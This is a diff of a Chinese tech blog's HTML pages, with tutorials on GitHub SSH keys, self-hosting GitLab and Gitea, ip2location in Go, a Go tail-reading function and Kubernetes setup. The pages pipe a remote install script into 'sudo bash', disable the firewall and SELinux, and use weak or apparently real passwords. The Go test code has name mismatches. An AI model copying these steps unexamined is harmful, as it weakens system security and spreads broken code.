在与远程仓库进行交互的时候,默认使用的是HTTP方式,它的缺点很明显,就是每一次都要手动输入账号密码,为此,使用SSH协议来替代HTTP会更好。

github支持ssh协议
github支持ssh协议

接下来要在本地创建ssh密钥对,打开gitbash,执行如下命令,过程中会要求输入一些信息,根据自己情况来定。

$ ssh-keygen -t rsa -b 4096
+Generating public/private rsa key pair.
+Enter file in which to save the key (/c/Users/Stranger/.ssh/id_rsa):
+/c/Users/Stranger/.ssh/id_rsa already exists.
+Overwrite (y/n)? y
+Enter passphrase (empty for no passphrase):
+Enter same passphrase again:
+Your identification has been saved in /c/Users/Stranger/.ssh/id_rsa
+Your public key has been saved in /c/Users/Stranger/.ssh/id_rsa.pub
+The key fingerprint is:
+SHA256:bbkk3VPOsowFTn9FQYeDl1aP3Ib+BpdC1x9vaAsFOQA Stranger@LAPTOP-9VDMJGFL
+The key's randomart image is:
++---[RSA 4096]----+
+|        E....o.*=|
+|            +o*=+|
+|          o  =*+*|
+|         = =.*.+=|
+|        S B B.O.=|
+|         + = B.* |
+|          o o . o|
+|               . |
+|                 |
++----[SHA256]-----+
+

默认情况下,它会生成在~/.ssh/目录下,git也是默认从这里去读取你的密钥文件。id.rsa是私钥文件,不可以泄露,否则这个密钥对就没有安全意义了。id.rsa.pub是公钥文件,这是需要向外部暴露的。来到github的setting中,添加新的SSH Keys。

将公钥文件的内容复制到输入框中,再点击按钮添加公钥。完事后执行如下命令测试下

$ ssh -T git@github.com
+Hi 246859! You've successfully authenticated, but GitHub does not provide shell access.
+

可以看到成功通过SSH认证了,再通过SSH方式克隆一个远程仓库试一试。

$ git clone git@github.com:246859/git-example.git
+Cloning into 'git-example'...
+remote: Enumerating objects: 28, done.
+remote: Counting objects: 100% (28/28), done.
+remote: Compressing objects: 100% (19/19), done.
+remote: Total 28 (delta 6), reused 27 (delta 5), pack-reused 0
+Receiving objects: 100% (28/28), done.
+Resolving deltas: 100% (6/6), done.
+

可以看到成功了,在github密钥管理界面,也能看到密钥的使用情况。

如此便配置好了通过SSH方式使用git。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/git/4.gitserver.html b/posts/code/git/4.gitserver.html new file mode 100644 index 0000000..91504ba --- /dev/null +++ b/posts/code/git/4.gitserver.html @@ -0,0 +1,209 @@ + + + + + + + + 托管服务器 | 寒江蓑笠翁 + + + + + + +

托管服务器

寒江蓑笠翁大约 19 分钟GitVCSGit

托管服务器

在远程仓库中,有许多优秀的第三方代码托管商可以使用,这对于开源项目而言可能足够使用,但是对于公司或者企业内部,就不能使用第三方的代码托管了,为此我们需要自行搭建代码托管服务器,好在市面上有许多开源的自建解决方案,比如bitbucket,gitlab等。

Gitlab

gitlab是一个采用Ruby开发的开源代码管理平台,支持web管理界面,下面会演示如何自己搭建一个GitLab服务器,演示的操作系统为Ubuntu。

关于gitlab更详细的文档可以前往GitLab Docs | GitLabopen in new window,本文只是一个简单的介绍与基本使用。

开源镜像地址:gitlabhq/gitlabhq: GitLab CE Mirror | Please open new issues in our issue tracker on GitLab.com (github.com)open in new window

提示

gitlab要求服务器的最小内存为4g,低于这个值可能会无法正常运行。

安装

首先更新一下索引

$ sudo apt update
+

然后安装几个软件包

$ apt install curl openssh-server ca-certificates postfix gnupg
+

前往gitlab/gitlab-ce - Packages · packages.gitlab.comopen in new window官方安装包网站,选择属于你自己对应版本的软件包,这里选择的是ubuntu/focal

进入该版本,用curl拉取并执行脚本,或者你也可以复制脚本到本地执行

$ curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash
+

然后用apt再安装

sudo apt-get install gitlab-ce=16.3.2-ce.0
+

或者你也可以wget把安装包下载到本地手动安装

安装过程可能会有点久,安装包大概有一两个G,当你看到如下输出时就说明安装成功了。

It looks like GitLab has not been configured yet; skipping the upgrade script.
+
+       *.                  *.
+      ***                 ***
+     *****               *****
+    .******             *******
+    ********            ********
+   ,,,,,,,,,***********,,,,,,,,,
+  ,,,,,,,,,,,*********,,,,,,,,,,,
+  .,,,,,,,,,,,*******,,,,,,,,,,,,
+      ,,,,,,,,,*****,,,,,,,,,.
+         ,,,,,,,****,,,,,,
+            .,,,***,,,,
+                ,*,.
+  
+
+
+     _______ __  __          __
+    / ____(_) /_/ /   ____ _/ /_
+   / / __/ / __/ /   / __ `/ __ \
+  / /_/ / / /_/ /___/ /_/ / /_/ /
+  \____/_/\__/_____/\__,_/_.___/
+  
+
+Thank you for installing GitLab!
+GitLab was unable to detect a valid hostname for your instance.
+Please configure a URL for your GitLab instance by setting `external_url`
+configuration in /etc/gitlab/gitlab.rb file.
+Then, you can start your GitLab instance by running the following command:
+  sudo gitlab-ctl reconfigure
+
+For a comprehensive list of configuration options please see the Omnibus GitLab readme
+https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md
+
+Help us improve the installation experience, let us know how we did with a 1 minute survey:
+https://gitlab.fra1.qualtrics.com/jfe/form/SV_6kVqZANThUQ1bZb?installation=omnibus&release=16-3
+

配置

gitlab安装完毕后,我们需要做一些初始化的配置。上面的输出configuration in /etc/gitlab/gitlab.rb file已经告知配置文件的地址

$ vim /etc/gitlab/gitlab.rb
+

第一点就是修改外部URL,格式为schema://host:port ,端口不填默认为80端口。

## GitLab URL
+##! URL on which GitLab will be reachable.
+##! For more details on configuring external_url see:
+##! https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-the-external-url-for-gitlab
+##!
+##! Note: During installation/upgrades, the value of the environment variable
+##! EXTERNAL_URL will be used to populate/replace this value.
+##! On AWS EC2 instances, we also attempt to fetch the public hostname/IP
+##! address from AWS. For more details, see:
+##! https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
+external_url 'http://your.example.com'
+

修改完后运行,让gitlab重新加载配置。

$ gitlab-ctl reconfigure
+

最后会有这么一段输出

Notes:
+Default admin account has been configured with following details:
+Username: root
+Password: You didn't opt-in to print initial root password to STDOUT.
+Password stored to /etc/gitlab/initial_root_password. This file will be cleaned up in first reconfigure run after 24 hours.
+

默认密码存放在指定文件中,且24小时后会自动删除,所以建议及时修改,在浏览器中输入external_url,并输入默认的账号密码,访问gitlab。

在Admin Area中,访问users模块

这里的stranger就是默认的管理账号,点击edit修改账号名称和密码。

至此,基础的使用配置就完成了,可以开始使用了。如果阅读英文有障碍的话,可以前往Admin Area/Settings/Preferences/Localization调整默认的语言设置,支持简繁中。

邮箱

gitlab大大小小的通知都要用邮箱来进行,邮箱不配置的话,默认发信人就是gitlab@服务IP地址,主要部分在配置文件的这一块。

gitlab_rails['smtp_enable'] = true
+gitlab_rails['smtp_address'] = "smtp.example.com"
+gitlab_rails['smtp_port'] = 666
+gitlab_rails['smtp_user_name'] = "gitlab@example.com
+gitlab_rails['smtp_password'] = "123456"
+gitlab_rails['smtp_domain'] = "smtp.example.com"
+gitlab_rails['smtp_authentication'] = "login"
+# gitlab_rails['smtp_enable_starttls_auto'] = true
+gitlab_rails['smtp_tls'] = false
+# gitlab_rails['smtp_pool'] = false
+
+###! **Can be: 'none', 'peer', 'client_once', 'fail_if_no_peer_cert'**
+###! Docs: http://api.rubyonrails.org/classes/ActionMailer/Base.html
+# gitlab_rails['smtp_openssl_verify_mode'] = 'none'
+
+# gitlab_rails['smtp_ca_path'] = "/etc/ssl/certs"
+# gitlab_rails['smtp_ca_file'] = "/etc/ssl/certs/ca-certificates.crt"
+
+### Email Settings
+
+# gitlab_rails['gitlab_email_enabled'] = true
+
+##! If your SMTP server does not like the default 'From: gitlab@gitlab.example.com'
+##! can change the 'From' with this setting.
+gitlab_rails['gitlab_email_from'] = 'gitlab@example.com'
+gitlab_rails['gitlab_email_display_name'] = 'gitlab'
+# gitlab_rails['gitlab_email_reply_to'] = 'noreply@example.com'
+# gitlab_rails['gitlab_email_subject_suffix'] = ''
+# gitlab_rails['gitlab_email_smime_enabled'] = false
+# gitlab_rails['gitlab_email_smime_key_file'] = '/etc/gitlab/ssl/gitlab_smime.key'
+# gitlab_rails['gitlab_email_smime_cert_file'] = '/etc/gitlab/ssl/gitlab_smime.crt'
+# gitlab_rails['gitlab_email_smime_ca_certs_file'] = '/etc/gitlab/ssl/gitlab_smime_cas.crt'
+

配置完后,使用gitlab-ctl reconfigure重新加载配置,通过命令gitlab-rails console打开控制台,执行

Notify.test_email('XXXXXX@example.com','test Gitlab Email','Test').deliver_now
+

测试下能否正常发送邮件,成功就说明配置正常。

优化

由于gitlab是ruby写的,这个语言最大的问题就是耗内存和性能低,在写这篇文章的时候,我用的是腾讯云活动打折买整的3年2c4g的云服务器,有时候内存爆满访问502,体验比较糟糕,但是服务器价格不菲,升级的费用相当昂贵。为了能够让贫民机器也能够运行,下面讲一下怎么去做一些简单的优化,让gitlab能够在大多数情况下正常运行。整体就两个思路

  1. 开启交换内存
  2. 关闭一些不必要的插件和功能,节省资源、

第一种方法开启交换内存就是内存不够用了拿磁盘来凑,建议自己去了解,不属于本文要讲的内容。下面主要讲一下哪些功能是可以关闭的。

1.Gravatar,这是一个公共的头像托管平台,头像这种功能没什么太大的必要,建议关闭,设置的地方在Admin Area/Setting/General/Account and limit/

关闭后,用户头像就会变成文字而非图像。

2.关闭Prometheus监控,这是一个gitlab的监控组件,如果只是个人使用可以关闭来节省资源,在配置文件中

prometheus_monitoring['enable'] = false
+

导入

下面要开启一个很有用的特性,就是让gitlab支持从github导入项目,还支持其它的平台,主要有

  • Github
  • BitBucket Cloud
  • FogBugz
  • Gitea

也支持url导入,想从什么来源导入就需要去设置里面专门开启

然后在github中创建一个personal token,需要勾选repo部分,在创建新项目的时候选择导入

选择github,输入你的personal token,然后就会进入导入页面

进入到导入页面后,就可以自己选择要导入哪些仓库了。

其它

gitlab总体来说使用起来跟github非常相似,分为三个大的部分,如下图

  • Your work,就是工作区,仓库的创建,组织的管理等等。
  • Explore,就类似探索广场,如果你只是自己使用,这个部分没啥太大的用处。
  • Admin Area,就是后台管理负责的部分,包括用户管理,语言管理,配置管理等等关于这个网站大大小小的细节。

到目前为止已经可以基本使用了,介绍的话真要一个个介绍得写到猴年马月,其它具体怎么使用建议看官方文档。gitlab功能很全,但也比较笨重,它更适合中大型的公司项目,有几百上千人的规模。(光是在我的服务器上搭建测试gitlab,就已经卡死机四五次了)

Gogs

开源地址:gogs/gogs: Gogs is a painless self-hosted Git service (github.com)open in new window

文档:Gogs: A painless self-hosted Git serviceopen in new window

如果你只是一个独立开发者,或是一个小团队,我建议使用Gogsopen in new window,它很小巧,同时也是用go语言进行开发的,所以配置要求相当低,不会像gitlab一样动辄要求2c4g以上的服务器才能运行,即便是在树莓派上也能跑,比较适合小团队。

可以前往在线体验 - Gogsopen in new window体验一下功能,页面和功能都相当简洁。

Gitea

开源地址:go-gitea/giteaopen in new window

文档地址:文档 | Gitea Documentationopen in new window

Gitea是由Gogs fork发展而来的,两者的目标都是为了构建尽量小巧的代码托管平台,但是功能要比Gogs更加丰富,属于是Gogs的加强版,个人比较推荐使用这个。

前期准备

gitea比gitlab小巧很多,所以很多东西需要我们自己进行配置。gitea的orm是XORM,所以XORM支持的数据库基本上都支持,这里使用的是Mysql,通过docker进行搭建。

$ docker run -p 3306:3306/tcp --name mysql8 \
+--restart=always \
+--privileged=true \
+-v /root/data/mysql/conf/:/etc/mysql/conf.d \
+-v /root/data/mysql/data/:/var/lib/mysql \
+-v /root/data/mysql/log/:/var/log/mysql \
+-e MYSQL_ROOT_PASSWORD=123456 \
+-e MYSQL_DATABASE=giteadb \
+-d mysql:8.0.27
+

然后创建一个名为gitea的用户

CREATE USER 'gitea' IDENTIFIED BY 'gitea';
+

然后授权

GRANT ALL PRIVILEGES ON giteadb.* TO 'gitea';
+FLUSH PRIVILEGES;
+

最后测试连接

mysql -u gitea -p giteadb
+

确保你的git版本大于等2.0,然后还要创建用户

$ adduser \
+   --system \
+   --shell /bin/bash \
+   --gecos 'Git Version Control' \
+   --group \
+   --disabled-password \
+   --home /home/git \
+   git
+

创建工作路径

mkdir -p /var/lib/gitea/{custom,data,log}
+chown -R git:git /var/lib/gitea/
+chmod -R 750 /var/lib/gitea/
+mkdir /etc/gitea
+chown root:git /etc/gitea
+chmod 770 /etc/gitea
+

导出环境变量

export GITEA_WORK_DIR=/var/lib/gitea/
+

使用wget下载文件

wget -O gitea https://dl.gitea.com/gitea/1.20.4/gitea-1.20.4-linux-amd64
+chmod +x gitea
+

创建软连接

ln -s /home/git/gitea /usr/local/bin/gitea
+

配置文件

配置文件地址在/var/lib/gitea/custom/conf/app.ini,如果没有需要自行创建,配置文件模板地址在gitea/custom/conf/app.example.iniopen in new window。Gitea的配置项相当的多,且不像Gitalb那样支持热加载,总体来说分为

  • 数据库配置
  • 站点设置
  • 服务器设置
  • 邮箱设置
  • 三方服务设置
  • 初始管理员设置

刚开始的话配置好数据库就行了,其它配置gitea后面会有UI界面进行引导,端口默认为3000。

[database]
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;
+;; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
+;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;
+;; MySQL Configuration
+;;
+DB_TYPE = mysql
+HOST = 127.0.0.1:3306 ; can use socket e.g. /var/run/mysqld/mysqld.sock
+NAME = gitea
+USER = gitea
+PASSWD = wyh246859 ;Use PASSWD = `your password` for quoting if you use special characters in the password.
+;SSL_MODE = false ; either "false" (default), "true", or "skip-verify"
+CHARSET = utf8mb4 ;either "utf8" or "utf8mb4", default is "utf8mb4".
+

定义Linux服务

service文件源地址在gitea/contrib/systemd/gitea.service at release/v1.20 · go-gitea/gitea (github.com)open in new window

[Unit]
+Description=Gitea (Git with a cup of tea)
+After=syslog.target
+After=network.target
+
+[Service]
+RestartSec=2s
+Type=notify
+User=git
+Group=git
+WorkingDirectory=/var/lib/gitea/
+
+ExecStart=/usr/local/bin/gitea web --config /etc/gitea/app.ini
+Restart=always
+Environment=USER=git HOME=/home/git GITEA_WORK_DIR=/var/lib/gitea
+WatchdogSec=30s
+
+[Install]
+WantedBy=multi-user.target
+

将上述内容复制到/etc/systemd/system/gitea.service,然后启动服务

sudo systemctl enable gitea
+sudo systemctl start gitea
+

初始配置

然后访问地址,根据gitea的引导进行初始化配置,gitea并不会像gitlab一样可以热加载配置,gitea所有的配置都需要修配置文件。

你也可以在初始化时设置管理员账号,或者也可以在后续注册,第一个用户默认为管理员,其它的配置自己根据需求来定。

记得确保当前用户具有修改配置文件的权限,然后点击安装,加载几秒后就可以了。

然后进入到主页面就可以使用了

运行后相当的流畅,这里放一张性能图。

导入仓库

导入的话支持以下几个仓库

还是以github为例,拿到自己的personal token,输入想要导入的url

这些操作基本上跟gtilab一致。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/git/index.html b/posts/code/git/index.html new file mode 100644 index 0000000..a726952 --- /dev/null +++ b/posts/code/git/index.html @@ -0,0 +1,48 @@ + + + + + + + + Git | 寒江蓑笠翁 + + + + + + +

Git

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/go_ip2loc.html b/posts/code/go_ip2loc.html new file mode 100644 index 0000000..1971eb3 --- /dev/null +++ b/posts/code/go_ip2loc.html @@ -0,0 +1,90 @@ + + + + + + + + 使用ip2location包转换IP地址 | 寒江蓑笠翁 + + + + + + +

使用ip2location包转换IP地址

寒江蓑笠翁大约 3 分钟技术日志

使用ip2location包转换IP地址


ip2loction是一个组织,它们提供IP数据库,可以通过IP地址解析道各种各样的信息,比如地区代码,时区等等,网站:https://lite.ip2location.com/。open in new window

免费数据库只能查询国家代码,更多功能只有付费数据库可以使用,它们的数据库也就是一个单独的文件或者CSV文件。

下载

下载地址:Database Download (ip2location.com)open in new window

文档地址:IP2Location Go Package — IP2Location Go (ip2location-go.readthedocs.io)open in new window

使用

它们提供了专门GO API来操作数据库,所以对于go而言可以直接导入它们编写好的库就可以直接使用。

$ go get github.com/ip2location/ip2location-go/v9
+

然后直接通过go代码打开文件数据库,lite版本的数据文件很小只有2MB左右,完全可以嵌入到程序中,下面是一个使用案例

package main
+
+import (
+	"fmt"
+	"github.com/ip2location/ip2location-go/v9"
+)
+
+func main() {
+	db, err := ip2location.OpenDB("IP2LOCATION-LITE-DB1.BIN")
+	if err != nil {
+		panic(err)
+	}
+	info, err := db.Get_all("45.11.104.59")
+	if err != nil{
+		panic(err)
+	}
+	fmt.Println(info.Country_short)
+	fmt.Println(info.Country_long)
+	fmt.Println(info.Timezone)
+}
+

输出

HK
+Hong Kong
+This parameter is unavailable for selected data file. Please upgrade the data file.
+

从输出可以看到,只能查询国家代码,如果想要时区之类的一些信息需要付费购买更高级的数据库,不过对大多数人而言国家代码已经够用了。

性能

下面是一个基准测试,来测试lite版本的查询性能如何

func BenchmarkIp2Loc(t *testing.B) {
+	t.ReportAllocs()
+	t.ResetTimer()
+	db, err := ip2location.OpenDB("IP2LOCATION-LITE-DB1.BIN")
+	if err != nil {
+		panic(err)
+	}
+	for i := 0; i < t.N; i++ {
+		db.Get_all("45.11.104.59")
+	}
+}
+

结果如下

goos: windows
+goarch: amd64
+pkg: golearn
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkIp2Loc
+BenchmarkIp2Loc-16         59758             18791 ns/op             616 B/op			9 allocs/op
+PASS
+

可以看到的是单次查询性能在18微秒左右,还是比较可以的。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/go_tail_read_file.html b/posts/code/go_tail_read_file.html new file mode 100644 index 0000000..34b6aa0 --- /dev/null +++ b/posts/code/go_tail_read_file.html @@ -0,0 +1,135 @@ + + + + + + + + Go语言实现按照行数逆序读取文件 - 模拟tail命令 | 寒江蓑笠翁 + + + + + + +

Go语言实现按照行数逆序读取文件 - 模拟tail命令

寒江蓑笠翁大约 4 分钟技术日志

Go语言实现按照行数逆序读取文件 - 模拟tail命令


编写

Linux中的tail命令很多人应该都用过,我们经常用它来看日志

$ tail -n 100 /etc/nginx/access.log
+

如果在用go语言实现这一个功能,也是非常的简单,要点就是利用Seek这一函数

// Seek sets the offset for the next Read or Write on file to offset, interpreted
+// according to whence: 0 means relative to the origin of the file, 1 means
+// relative to the current offset, and 2 means relative to the end.
+// It returns the new offset and an error, if any.
+Seek(offset int64, whence int) (ret int64, err error)
+

它的第一个参数是偏移量,第二个参数总共有三个值

  • 0,相对于文件头
  • 1,相对于当前的偏移量
  • 2,相对于文件末尾

一个需要注意的点就是换行符问题,在linux上换行符是CR\n,而在windows上则是CRLF\r\n,在计算偏移量的时候这个问题不能忽视掉,在逆序读取的时候就一个字节一个字节的读,当遇到\n时就停止,然后再根据不同系统来更新偏移量。最后还需要注意的是逆序读取的偏移量不能小于文件大小的负数,否则就越过文件的起始位置了,在思路明确了以后,编码就比较轻松了,代码整体如下所示。

func TailAt(file *os.File, n int, offset int64) ([]byte, int64, error) {
+	stat, err := file.Stat()
+	if err != nil {
+		return nil, 0, err
+	}
+	size := stat.Size()
+
+	if offset == 0 {
+		offset = -1
+	}
+	content := make([]byte, 0, n)
+	char := make([]byte, 1)
+
+	for n > 0 {
+		// read byte one by one
+		for offset >= -size {
+			_, err := file.Seek(offset, io.SeekEnd)
+			if err != nil {
+				return nil, 0, err
+			}
+
+			_, err = file.Read(char)
+			if err != nil {
+				return nil, 0, err
+			}
+			if char[0] == '\n' {
+				break
+			}
+			content = append(content, char[0])
+			offset--
+		}
+
+		offset--
+
+		if offset >= -size {
+			if _, err := file.Seek(offset, io.SeekEnd); err != nil {
+				return nil, 0, err
+			}
+			// consider CRLF
+			_, err := file.Read(char)
+			if err != nil {
+				return nil, 0, err
+			}
+			if char[0] == '\r' {
+				offset--
+			}
+		}
+
+		if offset >= -size {
+			content = append(content, '\n')
+		}
+		n--
+
+		// prevent pointer overflow the head of file
+		if offset < -size {
+			offset = 0
+			break
+		}
+	}
+
+	// reverse entire contents
+	slices.Reverse(content)
+	return content, offset, err
+}
+

测试

文件test.txt

hello nihao
+buhao
+wohao
+dajiahao
+aaa
+bbb
+ccccccdddda
+z\nzcda
+

一个简单的测试代码

func main() {
+	tails, _, err := Tail("test.txt", 2, -1)
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Println(string(tail))
+}
+

输出

ccccccdddda
+z\nzcda
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/index.html b/posts/code/index.html index 0a858ba..80abf99 100644 --- a/posts/code/index.html +++ b/posts/code/index.html @@ -5,7 +5,7 @@ - Code | 紫狐 +Code | 寒江蓑笠翁 + + + + + +

在Linux上搭建K8s集群

寒江蓑笠翁大约 15 分钟技术日志k8scontainerd

在Linux上搭建K8s集群

最近捣鼓了下用虚拟机搭建k8s集群,坑还是挺多的。


最近在学习k8s,不得不说这玩意运行起来还是相当的麻烦,这里记录一下,以免后面忘了。事先准备好三台ubuntu22.04虚拟机,一台用作control plane,两台用作worker node。

前置准备

在开始安装k8s之前,需要做一些前置的准备。

关闭firewalld

k8s有着自己的网络策略配置功能,关闭friewalld是为了避免起冲突。

# 查看状态
+$ ufw status
+# 禁用
+$ ufw disable
+

禁用selinux

selinux是linux的一个安全子系统,很多服务器未为了避免麻烦都会把它关了,ubuntu在装机的时候不会自带这玩意,但如果你装了的话可以按照下面的步骤关闭。

# 临时关闭
+$ setenforce 0
+# 永久关闭
+$ vim /etc/selinux/config
+SELINUX=disabled
+

关闭swap

kubelet运行时明确不支持swap,也就是交换内存,一部分原因是想让程序在内存耗尽以后正常OOM而不是一直靠swap苟着从而造成不必要的损失。如果未关闭swap直接启动的话,kubelet在启动时会显示如下信息告诉你应该关闭swap,否则不让你启动。

"command failed" err="failed to run Kubelet: running with swap on is not supported, please disable swap! or set --fail-swap-on flag to false. /proc/swaps contained: [Filename\t\t\t\tType\t\tSize\t\tUsed\t\tPriority /swapfile
+

首先执行命令关闭交换分区

$ swapoff -a
+

然后修改fstab文件

$ vim /etc/fstab
+

注释掉如下行

# /swapfile                                 none            swap    sw              0       0
+

执行如下命令查看swap分区情况,如果关闭了的话就不会有任何显示

swapon -show
+

配置网络

转发 IPv4 并让 iptables 看到桥接流量

$ cat <<EOF | sudo tee /etc/modules-load.d/k8s.conf
+overlay
+br_netfilter
+EOF
+
+$ sudo modprobe overlay
+$ sudo modprobe br_netfilter
+
+# 设置所需的 sysctl 参数,参数在重新启动后保持不变
+$ cat <<EOF | sudo tee /etc/sysctl.d/k8s.conf
+net.bridge.bridge-nf-call-iptables  = 1
+net.bridge.bridge-nf-call-ip6tables = 1
+net.ipv4.ip_forward                 = 1
+EOF
+
+# 应用 sysctl 参数而不重新启动
+$ sudo sysctl --system
+

通过运行以下指令确认 br_netfilteroverlay 模块被加载:

$ lsmod | grep br_netfilter
+$ lsmod | grep overlay
+

通过运行以下指令确认 net.bridge.bridge-nf-call-iptablesnet.bridge.bridge-nf-call-ip6tablesnet.ipv4.ip_forward 系统变量在你的 sysctl 配置中被设置为 1

$ sysctl net.bridge.bridge-nf-call-iptables net.bridge.bridge-nf-call-ip6tables net.ipv4.ip_forward
+

CRI

Container Runtime Interface(CRI),即容器运行时接口,要想使用K8s的话,需要系统提供CRI,目前实现了CRI的软件的有

  • containerd,推荐用这个,比较轻量。
  • docker engine,并没有实现CRI但是可以通过其它方法桥接,不过一般安装了docker engine的系统都会有containerd,因为containerd就是docker的一部分,所以还是建议用containerd。
  • CRI-O
  • MCR

containerd

下面会用containerd来做演示,其实containerd安装过程就是docker安装过程,先设置docker官方的apt仓库

# Add Docker's official GPG key:
+sudo apt-get update
+sudo apt-get install ca-certificates curl gnupg
+sudo install -m 0755 -d /etc/apt/keyrings
+curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
+sudo chmod a+r /etc/apt/keyrings/docker.gpg
+
+# Add the repository to Apt sources:
+echo \
+  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
+  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
+  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
+sudo apt-get updat
+

最后就只安装containerd.ioopen in new window,不用安装dcoker-ce和docker-cli。

sudo apt-get install containerd.io
+

或者你也可以直接下载containerd的二进制文件,它也是用go写的。在安装好后,需要配置systemd cgroup驱动,在containerd配置文件中

/etc/containerd/config.toml
+

修改如下的配置项

[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]
+    SystemdCgroup = true
+

提示

使用如下命令可以重置containerd配置

$ containerd config default > /etc/containerd/config.toml
+

从软件包安装的话可能会默认禁用CRI,在配置文件中可能会看到这么一行,将其去掉就行。

disabled_plugins = ["CRI"]
+

修改完后重启containerd

sudo systemctl restart containerd
+

安装

配置下k8s的阿里云apt源

$ echo "deb https://mirrors.aliyun.com/kubernetes/apt kubernetes-xenial main" >> /etc/apt/sources.list
+

更新证书

$ curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | sudo apt-key add
+

再更新源

$ sudo apt update
+

最后安装kubeadmkubectlkubelet,这三个最好软件版本保持一致。

$ sudo apt-get install kubeadm kubelet kubectl
+

完成后确认版本

$ kubelet --version
+Kubernetes v1.28.2
+$ kubeadm version
+kubeadm version: &version.Info{Major:"1", Minor:"28", GitVersion:"v1.28.2", GitCommit:"89a4ea3e1e4ddd7f7572286090359983e0387b2f", GitTreeState:"clean", BuildDate:"2023-09-13T09:34:32Z", GoVersion:"go1.20.8", Compiler:"gc", Platform:"linux/amd64"}
+$ kubectl version
+Client Version: v1.28.2
+Kustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3
+The connection to the server localhost:8080 was refused - did you specify the right host or port?
+

确认版本一致后,看看k8s的镜像,后续必须pull这些镜像,因为这是k8s集群运行的必要组件。

$ kubeadm config images list
+registry.k8s.io/kube-apiserver:v1.28.2
+registry.k8s.io/kube-controller-manager:v1.28.2
+registry.k8s.io/kube-scheduler:v1.28.2
+registry.k8s.io/kube-proxy:v1.28.2
+registry.k8s.io/pause:3.9
+registry.k8s.io/etcd:3.5.9-0
+registry.k8s.io/coredns/coredns:v1.10.1
+

到目前为止,系统上会有下面这几个东西

  • kebuadm,用来快速启动和搭建k8s集群的工具,可以省去我们很多操作。
  • kubelet,k8s集群命令行管理工具
  • kubelet,代表着一个节点,是k8s集群的基本单位。
  • crictl,容器运行时管理工具,只不过它是为k8s工作的,正确使用的前提是系统上安装了支持CRI的软件并正确指定了endpoint。
  • ctr,ctr是containerd的命令管理工具,containerd实现了CRI。

cri endpoint

ctrctl虽然是容器运行时管理工具,但是它并没有具体的实现,只是定义了一组接口规范。要想正常工作还得依赖具体的实现了CRI的软件,之前已经安装好了containerd,所以运行前要先指定crictl的runtime-endpoint,也就是containerd的sock地址。

通过查看配置文件etc/containerd/config.toml可以得知

[grpc]
+  address = "/run/containerd/containerd.sock"
+  gid = 0
+  max_recv_message_size = 16777216
+  max_send_message_size = 16777216
+  tcp_address = ""
+  tcp_tls_ca = ""
+  tcp_tls_cert = ""
+  tcp_tls_key = ""
+  uid = 0
+

那么endpoint就是

unix:///run/containerd/containerd.sock
+

所以执行如下命令配置crictl

sudo crictl config runtime-endpoint unix:///run/containerd/containerd.sock
+

拉镜像

kubeadm支持通过命令预先拉取需要用到的组件镜像,也就是之前list出来的镜像,执行如下命令就可以预先拉取要用到的镜像。

$ kubeadm config images pull
+

但是不出意外的话,意外就会发生了,上述的镜像仓库是registry.k8s.io,是由谷歌托管的,国内基本上没法访问,甚至于在线获取版本信息都不行

W0927 19:34:16.513175    4571 version.go:104] could not fetch a Kubernetes version from the internet: unable to get URL "https://dl.k8s.io/release/stable-1.txt": Get "https://cdn.dl.k8s.io/release/stable-1.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
+W0927 19:34:16.513428    4571 version.go:105] falling back to the local client version: v1.28.2
+

解决方法就是国内的镜像,阿里云有一个镜像仓库,地址如下

registry.aliyuncs.com/google_containers
+

网上有很多教程直接在kubeadm init时直接指定了阿里云镜像仓库,这样会导致kubelet没法正常运行,会说找不到组件的镜像,因为kubelet运行的时候只认registry.k8s.io镜像,而通过阿里云镜像仓库拉下来的镜像的前缀是registry.aliyuncs.com/google_containers,所以kubelet自然就没法启动了。所以对应的,拉取完下面的镜像后,应该将其名字改回去。

registry.aliyuncs.com/google_containers/kube-apiserver:v1.28.2
+registry.aliyuncs.com/google_containers/kube-controller-manager:v1.28.2
+registry.aliyuncs.com/google_containers/kube-scheduler:v1.28.2
+registry.aliyuncs.com/google_containers/kube-proxy:v1.28.2
+registry.aliyuncs.com/google_containers/pause:3.9
+registry.aliyuncs.com/google_containers/etcd:3.5.9-0
+registry.aliyuncs.com/google_containers/coredns/coredns:v1.10.1
+

crictl并不能修改镜像名,这是ctr应该干的事情,为了能够查看到k8s的镜像,指定命名空间k8s.io

$ sudo ctr -n k8s.io images ls
+

一个个改名太麻烦了,所以我写了一个脚本,来自动化完成这个过程。

#!/bin/bash
+aliyun="registry.aliyuncs.com/google_containers"
+k8sio="registry.k8s.io"
+echo "pulling needed k8s images from $aliyun"
+kubeadm config images pull --image-repository "$aliyun"
+echo "compare local with $k8sio"
+# list all kubeadm needs images
+for i in $(kubeadm config images list); do
+    # get suffxi images name
+	imagename=${i##*/}
+    # concat new name
+	aliimage="$aliyun/$imagename"
+	echo "[rename] $aliimage >>>> $i"
+    # rename registry to k8s.io
+	ctr -n k8s.io i tag "$aliimage" "$i"
+	echo "[remove] aliyun image $aliimage"
+    # remove aliyun images
